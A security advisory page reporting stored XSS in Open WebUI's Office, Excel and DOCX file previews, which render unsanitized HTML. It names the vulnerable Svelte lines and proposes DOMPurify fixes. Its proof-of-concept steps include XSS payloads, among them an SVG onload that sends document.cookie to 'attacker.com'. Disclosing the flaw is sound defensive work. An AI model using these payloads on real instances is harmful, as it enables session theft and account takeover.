Medium

Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)

  • Disclosed: 14.05.2026
  • Updated: 11.10.2026 14:17

Related advisory

This advisory tracks a regression of the original Excel-preview XSS that was publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc (patched in v0.8.0). The same root cause — XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again as of v0.8.12 and through the version range listed above. This advisory additionally covers the related fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte (lines 458 and 1285) which was not part of the jwf8 advisory's scope.

Summary

Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.

This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.

Root Cause

The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.

But 3 file-preview paths skip it:

Occurrence 1: FilePreview.svelte — Office HTML

File: src/lib/components/chat/FileNav/FilePreview.svelte line 324

svelte
{:else if fileOfficeHtml !== null}
    <div class="office-preview overflow-auto flex-1 min-h-0">
        {@html fileOfficeHtml}   <!-- NO DOMPurify! -->
    </div>

fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.

Occurrence 2: FileItemModal.svelte — Excel HTML

File: src/lib/components/common/FileItemModal.svelte line 560

svelte
{@html excelHtml}   <!-- NO DOMPurify! -->

excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.

Occurrence 3: FileItemModal.svelte — DOCX HTML

File: src/lib/components/common/FileItemModal.svelte line 590

svelte
{@html docxHtml}   <!-- NO DOMPurify! -->

docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.

Contrast with Sanitized Paths

For comparison, the same codebase correctly sanitizes in other locations:

svelte
<!-- MarkdownInlineTokens.svelte:130 — SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}

<!-- General.svelte:276 — SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}

<!-- Banner.svelte:103 — SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}

Defense Propagation Gap

Metric Value
Total {@html} usages 23
With DOMPurify 9 (39%)
Without DOMPurify 14 (61%)
Confirmed exploitable (file preview) 3

The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.

Tested Version

  • Open WebUI v0.8.12 (commit 9bd8425, tag v0.8.12)

Steps to Reproduce

PoC 1: Malicious Excel File

  1. Create a .xlsx file with a cell containing:

    <img src=x onerror="alert(document.cookie)">

    (Using a library like openpyxl to inject raw HTML into cell values)

  2. Upload the file to Open WebUI via the chat file upload

  3. When any user previews the file → excelHtml renders the injected HTML → XSS fires

PoC 2: Malicious DOCX File

  1. Create a .docx file with embedded HTML:

    xml
    <w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r>
  2. Upload to Open WebUI

  3. File preview renders docxHtml → XSS fires

PoC 3: Verify Rendering Path

js
// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
//   FileItemModal → {@html excelHtml}  // no DOMPurify
//   FileItemModal → {@html docxHtml}   // no DOMPurify
//   FilePreview   → {@html fileOfficeHtml}  // no DOMPurify

// Compare with safe path:
//   NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))}  // sanitized!

Impact

  • Stored XSS — malicious file is stored server-side, XSS fires for every user who previews it
  • Session hijacking via document.cookie theft
  • Account takeover — attacker can perform actions as the victim user
  • Data exfiltration — read chat history, API keys, uploaded documents
  • Multi-user environments — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
  • Defense propagation failure — DOMPurify is available and used elsewhere, but not applied to file preview paths

Suggested Remediation

Apply DOMPurify to all three file preview paths:

svelte
<!-- FilePreview.svelte:324 — FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}

<!-- FileItemModal.svelte:560 — FIX -->
{@html DOMPurify.sanitize(excelHtml)}

<!-- FileItemModal.svelte:590 — FIX -->
{@html DOMPurify.sanitize(docxHtml)}

Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.

References

  • CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
  • OWASP XSS Prevention Cheat Sheet
  • GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) open-webui < 0.9.3 0.9.3

References

CVSS score 5.4/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness (CWE)
CWE-79
Platform
Python (PyPI)
Package
open-webui
Disclosed
14.05.2026
Updated
11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2731 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-hcwp-82g6-8wxc - CC BY 4.0

Vulnerability history: open-webui

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (161) in the archive
Total entries
161
First → latest
08.2024 09.2026
Without a fix
11
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 77
  • Medium 75
  • Low 8

Disclosures per year

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Severity:
  1. High · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  2. High · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  3. High · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
  4. High · 7.1 CVE-2026-45349 < 0.9.0 0.9.0
  5. Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify) this entry
    Medium · 5.4 CVE-2026-45318 < 0.9.3 0.9.3
  6. High · 7.7 CVE-2026-45303 < 0.6.5 0.6.5
  7. High · 7.1 CVE-2026-44569 < 0.6.19 0.6.19
  8. High · 8.1 CVE-2026-44565 < 0.6.10 0.6.10
  9. High · 7.3 CVE-2026-44566 < 0.1.124 0.1.124
  10. High · 7.3 CVE-2026-44567 < 0.1.124 0.1.124
  11. High · 7.3 CVE-2026-44549 < 0.8.0 0.8.0
  12. Critical · 9.1 CVE-2026-44551 < 0.9.0 0.9.0
Show more (19) Showing 60 of 79

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.